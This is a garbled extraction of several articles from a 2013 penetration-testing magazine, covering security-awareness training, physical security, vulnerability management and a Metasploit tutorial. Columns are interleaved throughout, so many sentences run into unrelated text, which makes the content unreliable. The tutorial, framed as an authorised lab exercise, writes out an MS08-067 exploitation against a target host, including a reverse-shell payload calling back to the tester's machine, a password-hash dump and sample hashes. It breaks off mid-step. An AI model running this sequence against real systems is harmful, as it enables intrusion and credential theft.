panies to launch a Firefox-powered smartphone in Conclusion


2013 (Figure 2-4). The smartphone market share trends point to the
fact that Android is the market leader and going
Smartphone Pentesting forward. It is expected to be the undisputed lead-
In todays fast paced corporate world, every em- er, with the iPhone as a strong 2 player. Symbian
ployee, no matter whether they are from IT or top seems to be dying out in terms of consumer mind-
executives, all rely on having continuous real time share and Windows Phone is struggling as well to
access to company data. Probably, many em- gain the market share. Windows Phone 8 platform
ployees access their company email and files on is also not gaining too much headway at this point.
their smartphone devices. Companies at present If Microsoft isnt able to mount a serious push to
have two alternatives; First, issue company owned become relevant as a third platform by 2013, it
smartphones to employees or second: let employ- may open the door to competition from Firefoxs
ees to bring their own device to work to be inte- HTML based smartphone OS.
grated with the network. The security posture of
the smartphone in the workplace becomes a criti-
cal issue.
With increasing utilization of smartphones in the
workplace, sharing the network and accessing
sensitive data, it is very crucial to be able to as-
sess the security posture of these devices in the
similar way we perform penetration tests on work-
stations and servers. However, smartphones have
unique attack vectors that are not currently cov-
ered by available industry tools. The smartphone
penetration testing framework, the result of a DAR- Rajiv Ranjan
PA Cyber Fast Track project, aims to provide many Rajiv Ranjan is working as Senior Research Analyst with
facets of assessing the security posture of these Renub Research, leading Management Consultancy and
devices. Market Research Company. He is holding an MBA de-
The Smartphone Pentest Framework (SPF) is an gree and has over 5 years of telecom domain experi-
open source tool designed to allow users to assess ence. For more questions on this article, mention au-
the security posture of the smartphones deployed thors name and the articles title in the subject line and
in an environment. The tool allows for assessment write to us at info@renub.com.
of remote vulnerabilities, client side attacks, social http://www.renub.com

TBO 03/2013 Page 80 http://pentestmag.com


The Importance of

End User Security


Training
There is no question that todays business world is geared towards, and
reliant upon, information technology. As the business world moves forward,
heavily dependent upon IT solutions for daily operations, the landscape,
and way of doing business is changing. IT end users are often considered
the weakest link in a security program, and with the number of end users
outweighing the number of security professionals, it is imperative they
understand their role in security, and what they can do to help protect the
organization. This article will examine how to educate end user in IT security.

I
nformation Technology security training is rele- It should come as no surprise that with the
vant and should be required by anyone who amount of threats in circulation consider for ex-
works in your organization that touches a com- ample, the afore mentioned number of malware
puter. End users are employees of the organiza- samples in McAfee Labs database that security
tion who utilize computers and electronic devices issues occur often.
to create, modify, or access data on your network. A rough estimate is that over 50% of security
It is safe to say that pretty much everyone in your breaches are caused by end users, either because
organization is considered an end user, to include of IT security ignorance, or by accident. These mis-
management, engineers, administrative person- takes are embarrassing, but more importantly, they
nel, even security personnel. While some users are costly to the organization.
are less concerning than others (i.e. your security Organizations often invest large sums of money
staff should all be up to speed on IT security), it is into a skilled security team, and technologies such
vital that everyone knows security best practices, as antivirus software, firewalls, Intrusion Detection/
and understands their role in organizational securi- Prevention Systems, etc. but the greatest informa-
ty. In this article, we will examine what can be done tion security risk, the end user, is often overlooked.
to ensure that end users are getting the right level Regardless of the size, complexity, or industry of
of security training to ensure that there is buy-in to an organization, if it utilizes computers or networks
IT security. in any capacity, IT security training for end users is
a necessity.
The End User Problem
According to the McAfee Threats Report: Fourth The Security Awareness Program
Quarter 2012 (McAffee Labs, 2013): The growth A security awareness program should be utilized
of malware shows a very steady curve in the past to inform end users of security risks and issues.
year. We already have more than 113 million sam- The chances of you turning all end users into se-
ples in our malware zoo, and should approach 120 curity drones may seem slim, but the better the
million next quarter. Growth in new malware by knowledge shared with them, and the increase in
quarter is also on a relatively steady, and steeper, their understanding of security concepts, will help
path. (Figure 1) to extend the security blanket of your organization.

TBO 03/2013 Page 82 http://pentestmag.com


The goal is to build a security culture or mindset Tracking
into your organization so that risks are reduced, Reporting
less likely, and less costly, thus benefiting the or-
ganization. Strategy for Obtaining Executive and
There should be a framework for the organiza- Management Buy-In
tions security awareness campaign. The distinct The future of any organization is contingent upon
areas of delivery for the security awareness cam- its work force. A well-educated, informed, devoted,
paign are broken down into the following areas: and ethical body of employees who are security con-
scious can greatly aid in the success of the organiza-
Strategy for obtaining executive & manage- tion. When applicable, information security should be
ment buy-in an integrated aspect of organizational life; preferably,
Training plan it should be built into the organizations policy, proce-
Traditional classroom instruction dures, practice, controls, operations, and be second
Follow-on Computer Based Training (CBT) nature to all employees behavior.
Campaign supplements: The Center for Infrastructure Assurance and Se-
Posters, flyers, pamphlets, & slogans curity (CIAS), and the Center for Information Secu-
Weekly security e-mail newsletters rity Awareness (CfISA) each suggest some funda-
Organizational news letter mental factors, which should be considered when
Policy, procedures and training documenta- developing a security-training plan:
tion According to the CIAS, the five key driving fac-
Testing, Tracking, and reporting user participa- tors why security training should be paramount to
tion and comprehension an organization:
Testing
Multiple-choice computer testing The reputation of our organization may be at
End user targeted penetration testing stake.
i.e. staged social engineer attacks, Business asset protection, which includes intel-
checking practices. lectual property, customer data, and employee
data.

Figure 1. Malware Samples. McAfee (2013). Retrieved from: http://www.mcafee.com/us/resources/reports/rp-


quarterly-threat-q4-2012.pdf

TBO 03/2013 Page 83 http://pentestmag.com


Legal requirements. There are various compli- The security awareness campaign seeks to blend
ance laws that apply to just about every organi- the aforementioned elements with a collection of
zation. similar information and guidance to ensure em-
Security transcends departmental silos, physi- ployees are properly educated and aware of the
cal, logical, and electronic boundaries, network threat of social engineering.
systems and applications.
Affects operations: information is a valuable Training Plan
corporate asset. A security-training plan should be delivered in a
layered approach, which includes traditional class-
According to the CfISA, there are five fundamen- room training, and follow-on computer based train-
tal training principles to shape employees, so that ing (CBT). The security department should devel-
they begin thinking and making security part of op a rough draft of the training plan, and if possible,
their everyday lives: work hand-in-hand with the organizations train-
ing and education department to develop the best
In order for security awareness to work, ideally possible product.
most or all of the time, thinking security must
become instinctive, and as second nature as Traditional classroom instruction
being polite to customers. An initial, one-day traditional classroom training
In order for employees to start behaving se- session should be made mandatory for all employ-
curely, their current behavior must be modified ees. Listed is an overview of the topics that should
or security rules will never work. be covered in the training, note the heavy empha-
For behavior to become instinctive employees sis on social engineering awareness:
must change their attitude to and perception of
both the challenge and the outcome. Defining what a social engineer is, and why
In order to modify security behavior, employ- they pose such a huge threat.
ees must feel a relevant, personal, and direct The Social Engineering Cycle: Research, De-
connection to the outcome. velop Rapport and Trust, Exploiting Trust, Uti-
Training must be packaged properly to achieve lizing Information (Mitnick & Simon, 2002, p.
that outcome. 331).
Common social engineer methods (Mitnick & Si-
CfISA also gives the following two pieces of ad- mon, 2002, p. 332). This topic will discuss the
vice for applying the above listed principles: common methods an attacker may use, such as:
Posing as a fellow employee, vendor, part-
The first part of the course focuses on the be- ner company, law enforcement agent,
havior challenges; helping employees make someone in a position of authority, a new
a personal connection with cybercrime and employee needing assistance.
workplace security; understanding who com- Offering help if a problem occurs, then actu-
mits these crimes and what their motives are; ally causing the problem to occur so that the
understanding why exploiting predictable em- victim calls them for help.
ployee behavior is critical to committing these Leaving a floppy disk/CD/DVD/Thumb Drive
crimes; and why modifying personal behav- around the work place with malicious soft-
ior can be so powerful in preventing these ware loaded on it (i.e. keystroke loggers,
crimes. Trojan Horses, viruses) to capture key-
The second part of the course then focuses on strokes or gain remote access to machines.
the rules, and how they contribute to behavior- Pretending to be from a remote office ask-
al change and better workplace security. It ad- ing for remote login help.
dresses all the key security vulnerabilities, in- Warning signs of an attack (Mitnick & Simon,
cluding web and e-mail use, passwords, data 2002, p. 333):
classification and protection, social engineer- Refusal to give callback number
ing, preventing computer viruses and spam, Out-of-ordinary request, or Stresses urgency
security outside the office, personal workspace Claim of authority, or Name drops
security, acceptable use of electronic resourc- Threatens negative consequences of non-
es and more. compliance

TBO 03/2013 Page 84 http://pentestmag.com


Shows discomfort when questioned Multiple levels of CBTs, tailored towards specific
Compliments, flattery, or flirting duties, roles, and access to classified data.
Ways to verify the person youre talking to is
who they say they are (Mitnick & Simon, 2002, CBT Level 1, Annual Basic Refresher: Required
p. 334): by all employees unless they are required to take
Caller ID, callback verification, Secure e- CBT Level 2, 3, or 4. This CBT will cover the ba-
mail, Dynamic passwords sics of IT security, and should take approximately
Use a shared common secret 30 minutes to complete. Geared towards admin-
Validate their identity through their supervi- istrative assistants, custodial workers, services,
sor or manager and people who fall into the all others category.
Personal voice recognition, or ask a trusted CBT Level 2, Annual Advanced Refresher: A
employee to verify the persons identity more advanced refresher than CBT Level 1. Cov-
Ask that they appear in person ers the basics and advanced topics of IT secu-
Computer viruses rity, and should include a section on social en-
Worms and Trojans gineering. Should take approximately 1 hour to
Password security complete. This refresher is geared towards secu-
Adware, Spyware, Scareware rity guards, front-desk secretaries, CEO adminis-
Physical security trative assistants, upper Management, etc.
Email threats, scams and inappropriate use CBT Level 3, Annual Advanced IT Refresher:
Phishing examples, handling and response A more advanced refresher than CBT Level 1.
Wireless vulnerabilities, a general overview It comprises all of the information contained in
Firewalls, Antivirus, and security updates CBT Level 2 and contains training pertaining to
Best security practices IT related attacks. Should take approximately 1
Overview of policy, procedures, controls, and hour to complete. Geared towards System Ad-
correct practices and how they aid in prevent- ministrators, Engineers, Help Desk personnel,
ing the success of a social engineering attack, Developers, etc.
scenarios, and case studies will be provided, CBT Level 4, Annual Classified Handlers Re-
as examples of the things that can go wrong fresher: A more advanced refresher than CBT
when correct security practices are not proper- Level 1. It includes all of the information con-
ly followed. tained in CBT Level 2, and contains training per-
Business asset protection, which includes in- tinent to those who handle classified / sensitive
tellectual property, customer data, and employ- data frequently. Should take approximately 1
ee data. Examples of each will be described, hour to complete. Geared towards senior man-
along with showing the bigger picture how agement, system developers, programmers, re-
seemingly harmless data can be collected to search & development, human resources, etc.
form the big picture.
The class will use a combination of Power- Campaign Supplements
Point presentations, videos, role-playing sce- Posters/Flyers/Pamphlets/slogans
narios, handouts, and student interaction. The The campaign should make use of posters, fly-
key to success in the class will be to keep em- ers, pamphlets, and slogans. Posters and flyers
ployees actively engaged, entertained, and not can be posted in common areas, break rooms,
feeling like they are suffering death-by-Power- rest rooms, hallways, on the backs of doors, etc.
Point. Entertaining antics, humor, and videos to Pamphlets can be placed on tables in the break
break up the monotony of training will be uti- room, on service counters, on the desks in the se-
lized in attempts to keep the participants en- curity office, and handed out by security officers.
gaged and willing to buy-in to fact that they are Slogans can be used on scrolling marquee signs,
a critical component of security and that orga- in e-mail signature blocks, etc. Some examples of
nizations require behavior changes across all catchy slogans would be:
spectrums.
Sec-U-R-IT-y... without U, there is no security.
Computer Based Training
Require addendum Computer-based Training If you dont KNOW a person, its ok to say
(CBT) be accomplished annually by members. NO to a person.

TBO 03/2013 Page 85 http://pentestmag.com


The following signs are available for free use at Dont get hooked by phishers.
www.mindfulsecurity.com: see below. Before sharing PII, know who, what, and
why.
Amateurs hack systems, professionals
hack people. Bruce Schneier
A security/social engineer related cartoon,
such as:

Links to security related sites, such as:

The Information Warfare Site: http://www.iwar.


org.uk/comsec/resources/sa-tools/ a robust
list of tools for security awareness toolbox.
StaySafeOnline.org: http://www.staysafeonline.
org/for-business/resources-smallmed-sized-
businesses Security resources for small/mid-
sized businesses. Many good links to other se-
curity resources.
The Hacker News: http://thehackernews.com/
search/label/Security%20News a webpage
that dishes up latest information security news.
SecTechno: http://www.sectechno.com/2011/12/
(PJ, 2010)
09/new-cyber-security-awareness-campaign/
Weekly Security e-mail newsletters ?utm _ source=twit ter feed&utm _ medium=
The security office should author a weekly security twitter&utm_campaign=Feed%3A+Sectechno+%
newsletter, which is distributed to the organization 28SecTechno%29 Site with security resources
via e-mail. The newsletter should contain useful Security-Faqs.com: http://www.security-faqs.com
security tips and information on best security prac- site dedicated to latest security news.
tices and information on social engineering. The
weekly e-mail should include: Organizational newsletter
The security department should ensure that it has
Some form of catchy security slogan, such as a small blurb about social engineering listed in
(Native Intelligence, Inc, n.d.): the organizational newsletter, as well as identify-

(Call Center Comics, 2004)

TBO 03/2013 Page 86 http://pentestmag.com


ing any security stars: employees who have done analyzed by security and senior management. Pe-
something exceptional, such as reported a secu- riodic surveys will be issued to the organization to
rity incident, a social engineering attack, etc. gain feedback on how well the campaign is work-
ing, what is not working, and what can be improved
Policy, procedures and training upon.
documentation
Policies, procedures, and all training documenta- Reporting
tion should be made easily accessible for all em- The findings of the tracking stage will be reported
ployees to access and reference. to senior management and department heads.

Testinng, Tracking, and Reporting User Conclusion


Participation and Comprehension Because end users are so numerous and have ac-
Testing cess to the organizations data, they are the per-
Multiple-choice computer testing fect target for a hacker, social engineer, phishing
A multiple-choice computer based test following attempt, and they are the ones most likely to in-
the initial class training or annual CBT will be re- stall infected software. It is imperative to organiza-
quired for all employees to take and pass. Those tion security that a robust end user security-train-
who fail to score a 70% or higher will be required ing program is in place to aid in creating a security
to repeat the CBT training. Those who fail to ob- mindset throughout the entire organization. Secu-
tain a 70% or higher on their second attempt will rity is everyones responsibility.
be required to attend the initial classroom training
over again.
Terrance Stachowski
Penetrating testing staged social engineer Terrance Stachowski is a defense con-
attacks tractor supporting the United States Air
Users will be informed in the initial classroom training Force. He has fifteen years of IT experi-
that periodical penetration tests, to include social en- ence, a M.S. in Cybersecurity from Bel-
gineering attacks, will be performed on employees. levue University, and currently holds
nineteen IT certifications, including the
Tracking CISSP and L|PT. He specializes in IT Secu-
The results of the online testing as well as the re- rity, Penetration Testing, and Solaris Systems Engineering.
sults of the penetration tests will be tracked and He can be reached at terrance.ski@skeletonkeyss.com

References
Call center comics (2004). Retrieved from: http://www.callcentercomics.com/Cartoons/Information-Security.htm
Center for Information Security Awareness (n.d.). Retrieved from: http://www.cfisa.org/index.php/solutions/train-
ing-principles.html
Getting executive buy-in, CIAS (n.d.). Retrieved from: http://cias.utsa.edu/docs/TakeHome/Cyber%20Security%20Solu-
tions%20Materials/Management%20Buy-in/Getting%20Executive%20Buy-in.pdf
Information Warfare Site (n.d.). Retrieved from: http://www.iwar.org.uk/comsec/resources/sa-tools/
Manjack, M. (2006). Social engineering your employees to information security. Retrieved from: http://www.sans.
org/reading_room/whitepapers/awareness/social-engineering-employees-information-security_1686
McAffee Labs (2013). McAfee threats report: Fourth quarter 2012. Retrieved from: http://www.mcafee.com/us/resources/re-
ports/rp-quarterly-threat-q4-2012.pdf
Mitnick, K. D., Simon, W. L. (2002). The art of deception: Controlling the human element of security. Indianapolis,
IN: Wiley Publishing, Inc
Native Intelligence, Inc. (n.d.). Retrieved from: http://www.nativeintelligence.com/ni-free/awareness-slogans.asp
PJ (2010). Free Keep Calm Themed Information Security Awareness Posters: Mindful Security. Retrieved from:
http://mindfulsecurity.com/2010/10/10/free-keep-calm-themed-information-security-awareness-posters/
SecTechno (n.d.). Retrieved from: http://www.sectechno.com/2011/12/09/new-cyber-security-awareness-
campaign/?utm_source=twitterfeed&utm_medium=twitter&utm_campaign=Feed%3A+Sectechno+%28SecTechno%29
Security-Faqs.com (n.d.). Retrieved from: http://www.security-faqs.com
StaySafeOnline.org (n.d.). Retrieved from: http://www.staysafeonline.org/for-business/resources-smallmed-sized-
businesses
The Hacker News: Retrieved from: http://thehackernews.com/search/label/Security%20News

TBO 03/2013 Page 87 http://pentestmag.com


Physical Penetration Testing

Your Locality and


Environment May Be
the Weakest Link
While combating remote attacks and malware are de rigour
for the security professional, physical penetration is an often
underestimated and overlooked attack vector.

S
un Tzu, the Chinese general, strategist, and for the loss of data can be placed at the feet of the
philosopher, stated all war is deception. organisation itself, as social engineering (which
While much emphasis is placed on techno- is the close relative of those engaging in breach-
logical security solutions such as firewalls within ing physical defences), corporate culture, and bad
the IT sector, often the area of physical security physical design plays a major part in this type of
is sorely neglected. Within corporate culture, the breach. So how can an organisation harden itself
demarcation lines are frequently blurred and when against this vector?
an incident takes place there is the usual finger
pointing, allocation of blame and knee-jerk reac- Your Employees
tions. The old adage a little prevention is worth Probably the biggest risk overlooked are those
a lot of cure springs to mind here, yet sadly this who are already inside the building, complete with
important concept is frequently ignored across de- corporate security pass. Are they loyal or do they
partments, especially in large organisations. On a have ulterior motives? Then there is the human
daily basis, the lack of a security-focussed mind- factor to take into account, people genuinely want
set leaves businesses and public bodies vulner- to believe the best of others, and once inside the
able to attack, and the relatively small number of four walls of Acme Corp, subconsciously every-
incidents reenforces the illusion it could not hap- body is part of the same team. After all, Joe Bloggs
pen here. Complacency is the first enemy in this has a security pass and Human Resources/Secu-
war, and until an organisation suffers the humili- rity/Management would not have issued this un-
ation of a successful attack which has been dis- less Joe was trustworthy. As the culture swings
covered, it is often difficult to express the urgency towards more and more external contractors and
of good practice. More troubling, are the incidents roles become more specialised, the maintenance
where the perpetrator has got clean away, and the man with his head inside the switch rack or under-
only clue is where the subsequent chaos results neath the floor tiles runs little chance of being ex-
in corporate head scratching and the unanswered posed as a fraud. Worst still, are those that join the
question how could this confidential data possibly organisation with a Trojan Horse mentality, once
get out? To start with, an attacker needs a willing inside the door there are rich pickings to be had.
and cooperative victim. A lot of the responsibility Finally, there is the revengeful, those with grudg-

TBO 03/2013 Page 88 http://pentestmag.com


es, avarice or a whole panoply of human issues. the mad and the bad need to be screened out,
Angry at not receiving promotion or recognition, a simmering discontent within the corporate rank
member of staff with sufficient authority can easily and file is a litmus test that should not be ignored.
delete vital corporate records, destroy infrastruc-
ture, and if sufficiently aware of weaknesses in The Infrastructure and Architecture
systems, bankrupt an organisation or at the very Exposed USB ports, CD writers and network
least, cause major disruption or loss of reputation. switches are all technology based interfaces, and
In the old days, destroying a paper registry would can be monitored and controlled via software but
require a lot of petrol, water, or time. Today, a few what about the open plan architecture, floor tiles,
keystrokes can accomplish the same with devas- conduit, and the external location? Locks can be
tating effect. The key here is that everyone from picked, key-cards cloned, cables tapped. The re-
the cleaning staff to the CEO needs to be alert, cent attack on a UK bank used a simple Keyboard
and where there are vulnerable areas of infrastruc- Video Mouse (KVM) switch to facilitate the loss of
ture, the communications loop needs be closed. 1.3 million. Conversations can be listened to via
Unless a trusted employee specifically alerts laser beams bouncing off boardroom windows.
staff to maintenance work, it has to be assumed The potential for attack is limitless, yet the physi-
by all that any work carried out is suspect. Man- cal environment is ignored. Is the office in a high
agement need to proactively listen, and be alert to crime area? External communications data cabs
staff grievances, and often the power of personal- for Acme may be accessible to the public in the lo-
ity is dangerous here. It is easy to pretend to listen, cality. Lets not get into the issue of wireless rout-
and while the manager might feel that the issue is ers and war driving. Whilst few attackers will go to
resolved, the subordinate is left with an unresolved the length of lock picking, we are in the arena here
issue and revenge becomes the trajectory for jus- of the sophisticated and determined attacker. How
tice. Abuse of trust is a two way street, and while easy is it to pick that lock on that cabinet?

a d v e r t i s e m e n t
So called security locks on key safes are easy of attack can and will be exploited. However, se-
to pick (trust me on this) and most mass produced curing these areas may be outside the realm of the
desk locks, filing cabinets locks, etc. are a joke. principal we wish to protect. The principle may use
High security locks are a must, especially as the IT a well known cleaning company who has a lack of
industry has a reputation for providing poor quality security this domino effect is well demonstrated
locks that provide a reassuring sense of false secu- in the Hollywood movie Wall Street.
rity on servers, etc. Case locks on PCs and servers Serious analysis and interpretation needs to be
can be compromised by an angle grinder, bolt cut- made of the current risks, not excluding the at-
ters, or in the hands the initiated, a reasonably ef- tacker who may not intend to damage IT infra-
fective lock pick. At the end of the day, provided the structure, but manages to by fluke. Controversial
level of brute force does not cause excessive dam- businesses need to have an ear towards intelli-
age to the underlying device, a determined attacker gence, and take appropriate steps if they are un-
will be able to gain access to anything. The solu- popular or are experiencing a negative PR spike.
tion here is to use time to our advantage, having While attack is not the best form defence in these
layers upon layers of security to delay the attacker circumstances, awareness of the risks is para-
sufficiently and increase the chances of discovery mount. The political, ethical and financial temper-
so their chance of losing morale and giving up is in- ature needs to be monitored, and this metric fed
creased. The physical dimension often poses more back into the security equation.
challenges than the technological. To summarise, physical security is everyones
Businesses are stuck with their buildings, and business. While the penetration tester can dem-
the cost benefit analysis of a secure site will often onstrate weakness, ultimately a determined or
fail as the amount of investment required to bring opportunistic attacker can and will gain access
the security up to scratch will just not be available. provided their resources either physical or
This is where it is critical that the the concept of psychological exceeds that of the victim. This
security by design is introduced right at the be- means the culture of corporate complacency to-
ginning of the initial plan of where an office, data- wards risk needs to be examined, and a deep-
centre, or communications node, etc. is located. er co-operation established rather than security
The best prophylactic in these circumstances is being an afterthought. From individual employ-
the eyes and ears your employees, as once the ees, finance to HR, architects to service provid-
architecture is designed and the outer walls are ers, each brings their own vulnerabilities. Unless
breached your first line of defence has already a holistic approach is taken, closing doors after
crumbled. This includes shoulder surfing, open the horse has bolted will be the order of the day.
plan offices, poorly located data centres, etc. Once After all, an open window on the ground floor al-
the bricks and mortar have dried, it is a war of attri- lowing a thief to steal papers from a desk is just
tion securing poorly designed infrastructure. as much a vulnerability as an unsecured server or
confidential papers left on the photocopier.
Political, Financial, Environmental, and
Ethical Considerations
How seriously should your business take physi- About the Author
cal security? One would hope that a doctors of- Rob Somerville has been pas-
fice would be less vulnerable than a military instal- sionate about technology since
lation, but the obvious target would be access to his early teens. A keen advocate
drugs, confidential patient records, and identity of open systems since the mid-
theft. Few would question a man in a white coat eighties, he has worked in many
wearing a stethoscope with a branded ID in a hos- corporate sectors including fi-
pital but is that uniform genuine? The professional nance, automotive, airlines,
attacker will use every trick in the book to estab- government and media in a va-
lish a trust relationship with the victim. Uniforms, riety of roles from technical
IDs, etc. provide just enough credibility that the at- support, system administrator,
tacker is bona fide. On the other hand, the mass developer, systems integrator
recent release of data pertaining to women who and IT manager. He has moved on from CP/M and nixie
had abortions carried out in the UK demonstrates tubes but keeps a soldering iron handy just in case.
that targets most people would consider unworthy

TBO 03/2013 Page 90 http://pentestmag.com


Vulnerability Assessment and
Management:
Integrated Approach
Vulnerability Assessment and Management is the core component
of any security program. In modern approach, to handle latest
security challenges and zero day attacks, we have to think like
hackers think, our approach to handle vulnerabilities should be
based on hackers look into vulnerabilities.

V
ulnerability Assessment and Management tack sessions (where each individual attack session
is the core component of any security pro- is genuine but the combined attack sessions may
gram. In modern world of Software Tech- not be genuine) impose the need for a new security
nologies, where every 1000 lines of software code approach that unifies centralized analysis with the
have 40% vulnerabilities, noting is reliable, every- capability to collectively collate, analyze, and inter-
thing connected is just like a ticking bomb and vul- pret threats coming from distributed multiple attack
nerable natively. sessions and provides practical countermeasures.
Our approach to handle latest security challenges The integrated approach requires our understand-
and zero day attacks should be as proactive as are ing and attitude to handle corporate vulnerabilities
the hackers exploiting before we know them. We in centralized manner, not like traditional IT silos.
have to think ahead of hackers, we have to think This problem has been rectified by market leader
like hackers think, our approach to handle vulner- of VAM solution but not in 100%. Thanks to central-
abilities should be based on hackers look into vul- izing all of these silos under one umbrella named
nerabilities. Vulnerability Assessment and Manage- Vulnerability Assessment and Management, VAM
ment has its complete lifecycle, illustrated in Figure software suites are doing good job by providing uni-
1. Defense in-depth and 360 degree security fails fied platform, allowing generation of multiple dash-
due to flows in software, IOS and update patches, boards with relevant user groups, each having their
and our security assessment modeling. Organiza- own group of equipment and privileges to scan and
tions might have state of the start security controls manipulate their findings. This unified nature pro-
but cannot completely control the human element vides capability to consolidate all vulnerabilities and
which is the main cause of failure: humans are the to associate the Risk Management with them.
weakest link and could be easily trapped with the VAM suites still need to integrate with other areas
help of latest techniques and other social media where vulnerabilities are causing more damages,
attacks, lack of awareness of possibilities of so- such as Software Source code Analysis. Software
cial engineering attacks alerts security awareness code analysis suite scans and provides detailed
campaign to be started immediately. It should be security vulnerability information in application
the core part of Information Security Program. The code; the integration with VAM suites will allow CI-
complexity of detecting, analyzing, and countering SO to be aware of security issues in in-house de-
to emerging intrusive security threats, especially veloped software application before it moves into
those that are distributed in nature with multiple at- production environment. Further VAM needs to be

TBO 03/2013 Page 92 http://pentestmag.com


integrated with existing IT Service Desk software applications should get the current status of these
to provide full ticketing and escalation modules. findings, not only at the first time but also every time
For CIO and CISO the most important activity is to VAM suites scans, it should reflect the status of new
know the real time most critical vulnerabilities and finding and refresh status of old vulnerabilities.
their status. VAM dashboard can be integrated with
GRC platform and can provide holistic view of cor- Summary
porate vulnerabilities. What is the main benefit of We have only one chance to be protected from be-
the integrated approach is that, when a vulnerability ing breached and this is by knowing our vulnerabil-
is found through VAM suite, all the other integrated ities before hackers exploit them and take advan-
tages. This can be done in an integrated manner
where we have holistic view of our weaknesses.
Acronym
VAM: Vulnerability Assessment and Management;
CIO: Chief Information Officer; Muhammad Saleem
CISO: Chief Information Security Officer; He has more than 15 years of experience in the field of
GRC: Governance Risk and Compliance; Enterprise\Security Architecture, Cyber Intelligence
Defense In-Depth: Defense in depth is an infor- & Incident Response Management, Enterprise Securi-
mation assurance (IA) concept in which multi- ty and Risk Management, Business Continuity & Disas-
ple layers of security controls (defense) are placed ter Recovery, Governance Risk and Compliance, Policy
throughout an information technology (IT) sys-
& Procedures, Managing C2C, Cloud Computing, Net-
tem. Its intent is to provide redundancy in the
event where a security control fails or a vulnerabili- works Infrastructure & Data Centre as well as integrat-
ty is exploited, that can cover aspects of personnel, ing Systems and Applications. He is Public Speaker,
procedural, technical, and physical for the duration Technical Writer, and Subject Matter Expert in building
of the systems life cycle; and managing InfoSec, ERM and BCM departments in
360 degree security: Implementing Security Con- any organization. At present he is Chief Information Se-
trols to protect critical assets from all angles and
curity Officer at government entity. He is also Program
entry points, logical and physical;
IOS: Internetwork Operating System. Manager of 31 Enterprise Security & Risk Management
projects.

Figure 1. Vulnerability Assessment and Management

TBO 03/2013 Page 93 http://pentestmag.com


Metasploit
All You Need to Hack into an Internal Network

Lets assume, you have installed Kali Linux and have access to a
virtual lab or have express permission from your companys IT
manager to test your internal network. Whats next?

T
he first step in attacking a network is un- malicious RPC request. A simple way of verifying
derstanding what you are up against. This unpatched servers is to use the nmap scripting li-
phase involves mapping the discovering brary (Listing 1).
and mapping the network. Tools such as nmap Examining the nmap output shows that serv-
or unicornscan will help identify services that are er 10.0.0.5 is not vulnerable, However the serv-
available within the network. Nmap service scan er 10.0.0.6 might be vulnerable. Next, we use a
(-sV option) is very useful in identifying services Metasploit module to exploit the vulnerability
and when combined with the script scan (-sC), can
save valuable time when attacking a network. [root@kali]# msfconsole
You have done a network reconnaissance
using Nmap and other vulnerability scanners. Metasploit is invoked using the command msconsole.
Whats Next?
=[ metasploit v4.7.0-2013092501 [core:4.7
Exploitation api:1.0]
This article walks you through a few easy wins + -- --=[ 1195 exploits 726 auxiliary 200 post
which allow you to get your foothold (or full + -- --=[ 312 payloads 30 encoders 8 nops
pwange!) depending on how the internal environ- msf >
ment is configured. msf > use exploit/windows/smb/ms08_067_netapi

MS-08-067 We instruct metasploit to use the exploit associ-


Its not surprising to see unpatched servers still in ated with the MS08-067 vulunerability. Metasploit
use within large organizations. There are many modules/exploits are layed out in an easy to un-
reasons (or excuses) that can be made but seeing derstand structure (Listing 2).
a vulnerability that was patched by Microsoft over Here RHOST is the remote server we want to
4 years ago. Microsoft bulletin explains how it is exploit. In our case this is 10.0.0.6. Metasploit can
possible for an attacker to gain administrative priv- automatically determine the version of the oper-
ileges on unpatched systems running Windows ating system in use and then use the appropriate
2000, Windows 2003, and Windows XP using a exploit. In case you want to use a specific version

TBO 03/2013 Page 94 http://pentestmag.com


of an exploit (Windows XP in Greek for example), vulnerability) to meterpreter. Meterpreter is like
then this can be specified using the show targets cmdshell but on steriods and has a lot of function-
command (Listing 3). We have set the our IP Ad- ality and post exploitation features.
dress (LHOST), and then used the PAYLOAD (or
command that you wish to run after exploiting the meterpreter> run hashdump

Listing 1. Nmap scripting library


Name Current Setting Required Description
Nmap sSV v n p445 10.0.0.1-255 --script smb- ---- --------------- -------- ---------
check-vulns RHOST yes The
Nmap scan report for 10.0.0.5 target address
PORT STATE SERVICE RPORT 445 yes Set the
445/tcp open microsoft-ds SMB service port
SMBPIPE BROWSER yes The pipe
Host script results: name to use (BROWSER, SRVSVC)
| smb-check-vulns:
| MS08-067: NOT VULNERABLE Exploit target:
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add --script- Id Name
args=unsafe=1 to run) -- ----
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED 0 Automatic Targeting
(add --script-args=unsafe=1 to run)
| MS06-025: CHECK DISABLED (remove safe=1 Listing 3. The RHOST command
argument to run)
|_ MS07-029: CHECK DISABLED (remove safe=1 msf exploit(ms08_067_netapi) > set RHOST
argument to run) 10.0.0.6
RHOST => 10.0.0.6

Nmap scan report for 10.0.0.6 msf exploit(ms08_067_netapi) > set LHOST
PORT STATE SERVICE 10.0.0.200
445/tcp open microsoft-ds LHOST => 10.0.0.200

Host script results:


| smb-check-vulns: msf exploit(ms08_067_netapi) > set PAYLOAD win-
| MS08-067: VULNERABLE dows/meterpreter/reverse_tcp
| Conficker: Likely CLEAN PAYLOAD => windows/meterpreter/reverse_tcp
| regsvc DoS: CHECK DISABLED (add --script-
args=unsafe=1 to run)
| SMBv2 DoS (CVE-2009-3103): CHECK DISABLED msf exploit(ms08_067_netapi) > exploit
(add --script-args=unsafe=1 to run)
| MS06-025: CHECK DISABLED (remove safe=1 [*] Started bind handler
argument to run) [*] Automatically detecting the target...
|_ MS07-029: CHECK DISABLED (remove safe=1 [*] Fingerprint: Windows XP - Service Pack 2 -
argument to run) lang: English
[*] Selected Target: Windows XP SP2 English
Listing 2. Metasploit modules and exploits (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > show options [*] Sending stage (752128 bytes) to 10.0.0.6
[*] Meterpreter session 1 opened
Module options (exploit/windows/smb/ms08_067_
netapi): meterpreter>

TBO 03/2013 Page 95 http://pentestmag.com


This command should dump all the local users of credentials. Application servers are common-
the system (or domain users in case the server is ly run on ports 8080,8443,9090, and occasion-
a domain controller). An example of the hashes ally on port 80. Either run nmap sSVC v n
dumped is shown below. p8080,8443,9090,80 on your target range or use
the Metasploit auxiliary module (auxiliary/scan-
Administrator:500: aad3b435b51404eeaad3b435b51404e ner/http/dir_scanner). Youve found an Apache
e:8846f7eaee8fb117ad06bdd830b7586c::: Tomcat server on the IP address 10.0.0.25 run-
Guest:501:aad3b435b51404eeaad3b435b51404ee: ning on port 8080.
